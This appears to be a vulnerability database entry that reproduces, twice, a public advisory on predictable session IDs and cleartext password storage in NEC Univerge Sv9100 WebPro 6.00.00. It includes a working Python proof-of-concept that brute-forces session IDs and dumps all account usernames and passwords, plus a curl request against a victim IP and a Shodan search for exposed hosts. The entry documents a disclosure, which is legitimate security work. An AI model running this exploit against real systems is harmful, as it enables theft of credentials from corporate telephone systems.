VAR-201812-0338
Vulnerability from variot - Updated: 2023-12-18 12:56NEC Univerge Sv9100 WebPro 6.00.00 devices have Predictable Session IDs that result in Account Information Disclosure via Home.htm?sessionId=#####&GOTO(8) URIs. NEC Univerge Sv9100 WebPro The device contains an information disclosure vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. NEC Univerge Sv9100 WebPro is a communication system management tool of NEC Corporation of the United States. There is a security vulnerability in NEC Univerge Sv9100 WebPro 6.00.00 version, the vulnerability is due to the fact that an attacker can guess the session ID. Attackers can use Home.htm?sessionId=#####&GOTO(8) URIs to exploit this vulnerability to leak account information. [+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/NEC-UNIVERGE-WEBPRO-v6.00-PREDICTABLE-SESSIONID-CLEARTEXT-PASSWORDS.txt [+] ISR: ApparitionSec
Greetz: indoushka | Eduardo B. 0day
[Vendor] www.necam.com
[Affected Product Code Base] NEC Univerge Sv9100 WebPro - 6.00.00
NEC Univerge WebPro, is a web-based programming tool for the NEC Switch, which is used to program corporate Telephone systems.
Public facing installations as of Dec 1, 2018 https://www.shodan.io/search?query=Server+Henry Result: 7,797
[Vulnerability Type(s)] [CVE Reference(s)] Predictable Session ID - CVE-2018-11741 / Cleartext Password Storage - CVE-2018-11742
[Attack Vectors] Make repeated remote HTTP requests until arriving at a valid authenticated sessionId.
Security Issue:
NEC Univerge WebPro suffers from a "Predictable Session ID" that can potentially disclose all user account information including passwords stored in clear text in the Web UI. Attackers can simply increment numbers until arriving at a live session, then by using a specific URI dump the entire account information for all users including the clear text passwords.
e.g..
curl http://NEC-VICTIM-IP/Home.htm?sessionId=12959&GOTO(8)
Exploit/POC:
from socket import * import re
Univerge Sv9100 NEC WebPro : 6.00
Dumps user accounts and plaintext passwords stored in Web UI in Administrator Programming Password Setup' webpage
http://TARGET-IP/Home.htm?sessionId=12959&GOTO(8) "GOTO(8)" will retrieve all account usernames and cleartext passwords.
print "NEC Univerge Sv9100 WebPro - 6.00.00 / Remote 0day Exploit POC" print "hyp3rlinx"
IP=raw_input("[+] TARGET> ") res='' findme="Programming Password Setup" cnt=0 tmp=False tmp2=False pwned=False
check application is NEC and vuln version
def is_NEC_webpro(u): global tmp,tmp2,cnt res='' cnt+=1 s=socket(AF_INET, SOCK_STREAM) s.connect((IP,80)) s.send('GET '+u+' HTTP/1.1\r\nHost: '+IP+'\r\n\r\n')
while True:
res=s.recv(4048)
if res.find('</html>')!=-1:
break
s.close()
if re.findall(r"\bWebPro\b", res):
tmp=True
if tmp and cnt < 3:
is_NEC_webpro('/Login.htm')
if re.findall(r"\b6.00.00\b", res) and re.findall(r"\bNEC Corporation of America\b", res):
tmp2 = True
if tmp == True and tmp2 == True:
return True
return False
def dump(acct): file=open('NEC-Accounts.txt', 'w') file.write(acct+'\n') file.close()
def breach(sid): global pwned try: s=socket(AF_INET, SOCK_STREAM) s.connect((IP,80)) sid=str(sid) print 'trying sessid '+sid s.send('GET /Home.htm?sessionId%3d'+sid+'&GOTO(8)%20HTTP/1.1\r\nHost: '+IP+'\r\n\r\n') except Exception as e: print str(e)
while True:
res = s.recv(4096)
if res.find('</html>')!=-1:
break
if re.findall(r"\bProgramming Password Setup\b",res)!=-1: ## We hit an active session.
dump(res)
print res
pwned=True
s.close()
return pwned
def sessgen(): for sessid in range(1000,15000): ##test 14109 if breach(sessid): break
if name=='main': if is_NEC_webpro('/'): sessgen() else: print 'Not NEC or version not vuln.'
Network Access:
Remote
Severity:
High
Disclosure Timeline:
Vendor Notification: May 15, 2018 No reply Vendor Notification: May 18, 2018 No reply Vendor Notification: June 4, 2018 No reply Mitre assign CVE: June 5, 2018 JPCERT replies: June 6, 2018 JPCERT shares information with NEC : June 7, 2018 Request status : August 11, 2018 JPCERT contact NEC : August 14, 2018 No reply from vendor Request status : August 21, 2018 JPCERT again contacts NEC : August 21, 2018 JPCERT "vendor working on a release" : August 23 2018 JPCERT "Vendor release October 2018" : September 12, 2018 NEC "Requests public disclosure after December 1st." : November 19, 2018 December 2, 2018 : Public Disclosure
[+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c).
hyp3rlinx
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"data": "NEC Univerge Sv9100 WebPro 6.00.00 devices have Predictable Session IDs that result in Account Information Disclosure via Home.htm?sessionId=#####\u0026GOTO(8) URIs. NEC Univerge Sv9100 WebPro The device contains an information disclosure vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. NEC Univerge Sv9100 WebPro is a communication system management tool of NEC Corporation of the United States. There is a security vulnerability in NEC Univerge Sv9100 WebPro 6.00.00 version, the vulnerability is due to the fact that an attacker can guess the session ID. Attackers can use Home.htm?sessionId=#####\u0026GOTO(8) URIs to exploit this vulnerability to leak account information. [+] Credits: hyp3rlinx\n[+] Website: hyp3rlinx.altervista.org\n[+] Source: http://hyp3rlinx.altervista.org/advisories/NEC-UNIVERGE-WEBPRO-v6.00-PREDICTABLE-SESSIONID-CLEARTEXT-PASSWORDS.txt\n[+] ISR: ApparitionSec \n\n\n***Greetz: indoushka | Eduardo B. 0day***\n\n\n[Vendor]\nwww.necam.com\n\n\n[Affected Product Code Base]\nNEC Univerge Sv9100 WebPro - 6.00.00\n\n\nNEC Univerge WebPro, is a web-based programming tool for the NEC Switch, which is used to program corporate Telephone systems. \n\n\nPublic facing installations as of Dec 1, 2018\nhttps://www.shodan.io/search?query=Server+Henry\nResult: 7,797 \n\n\n[Vulnerability Type(s)]\n[CVE Reference(s)]\nPredictable Session ID - CVE-2018-11741 / Cleartext Password Storage - CVE-2018-11742\n\n\n\n[Attack Vectors]\nMake repeated remote HTTP requests until arriving at a valid authenticated sessionId. \n\n\nSecurity Issue:\n================\nNEC Univerge WebPro suffers from a \"Predictable Session ID\" that can potentially disclose all user account information including passwords stored in clear text in the Web UI. \nAttackers can simply increment numbers until arriving at a live session, then by using a specific URI dump the entire account information for all users including the clear text passwords. \n\ne.g.. \n\ncurl http://NEC-VICTIM-IP/Home.htm?sessionId=12959\u0026GOTO(8)\n\n\nExploit/POC:\n=============\nfrom socket import *\nimport re\n\n#Univerge Sv9100 NEC WebPro : 6.00\n#Dumps user accounts and plaintext passwords stored in Web UI in Administrator Programming Password Setup\u0027 webpage\n#http://TARGET-IP/Home.htm?sessionId=12959\u0026GOTO(8) \"GOTO(8)\" will retrieve all account usernames and cleartext passwords. \n\nprint \"NEC Univerge Sv9100 WebPro - 6.00.00 / Remote 0day Exploit POC\"\nprint \"hyp3rlinx\"\n\n\nIP=raw_input(\"[+] TARGET\u003e \")\nres=\u0027\u0027\nfindme=\"Programming Password Setup\"\ncnt=0\ntmp=False\ntmp2=False\npwned=False\n\n#check application is NEC and vuln version\ndef is_NEC_webpro(u):\n global tmp,tmp2,cnt\n res=\u0027\u0027\n cnt+=1\n s=socket(AF_INET, SOCK_STREAM)\n s.connect((IP,80))\n s.send(\u0027GET \u0027+u+\u0027 HTTP/1.1\\r\\nHost: \u0027+IP+\u0027\\r\\n\\r\\n\u0027)\n\n while True:\n res=s.recv(4048)\n if res.find(\u0027\u003c/html\u003e\u0027)!=-1:\n break \n s.close()\n \n if re.findall(r\"\\bWebPro\\b\", res):\n tmp=True\n if tmp and cnt \u003c 3:\n is_NEC_webpro(\u0027/Login.htm\u0027)\n if re.findall(r\"\\b6.00.00\\b\", res) and re.findall(r\"\\bNEC Corporation of America\\b\", res):\n tmp2 = True\n if tmp == True and tmp2 == True:\n return True\n return False\n\n\n\ndef dump(acct):\n file=open(\u0027NEC-Accounts.txt\u0027, \u0027w\u0027)\n file.write(acct+\u0027\\n\u0027)\n file.close()\n\n\ndef breach(sid):\n global pwned\n try:\n s=socket(AF_INET, SOCK_STREAM)\n s.connect((IP,80))\n sid=str(sid)\n print \u0027trying sessid \u0027+sid\n s.send(\u0027GET /Home.htm?sessionId%3d\u0027+sid+\u0027\u0026GOTO(8)%20HTTP/1.1\\r\\nHost: \u0027+IP+\u0027\\r\\n\\r\\n\u0027)\n except Exception as e:\n print str(e)\n \n while True:\n res = s.recv(4096)\n if res.find(\u0027\u003c/html\u003e\u0027)!=-1:\n break\n if re.findall(r\"\\bProgramming Password Setup\\b\",res)!=-1: ## We hit an active session. \n dump(res)\n print res\n pwned=True\n \n s.close()\n return pwned\n\n\ndef sessgen():\n for sessid in range(1000,15000): ##test 14109\n if breach(sessid):\n break\n\n\nif __name__==\u0027__main__\u0027:\n if is_NEC_webpro(\u0027/\u0027):\n sessgen()\n else:\n print \u0027Not NEC or version not vuln.\u0027\n\n\n\n\n\nNetwork Access:\n===============\nRemote\n\n\n\nSeverity:\n=========\nHigh\n\n\n\nDisclosure Timeline:\n=============================\nVendor Notification: May 15, 2018\nNo reply\nVendor Notification: May 18, 2018\nNo reply\nVendor Notification: June 4, 2018\nNo reply\nMitre assign CVE: June 5, 2018\nJPCERT replies: June 6, 2018\nJPCERT shares information with NEC : June 7, 2018\nRequest status : August 11, 2018\nJPCERT contact NEC : August 14, 2018\nNo reply from vendor\nRequest status : August 21, 2018\nJPCERT again contacts NEC : August 21, 2018\nJPCERT \"vendor working on a release\" : August 23 2018\nJPCERT \"Vendor release October 2018\" : September 12, 2018\nNEC \"Requests public disclosure after December 1st.\" : November 19, 2018\nDecember 2, 2018 : Public Disclosure\n\n\n\n[+] Disclaimer\nThe information contained within this advisory is supplied \"as-is\" with no warranties or guarantees of fitness of use or otherwise. \nPermission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and\nthat due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit\nis given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility\nfor any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information\nor exploits by the author or elsewhere. All content (c). \n\nhyp3rlinx\n",
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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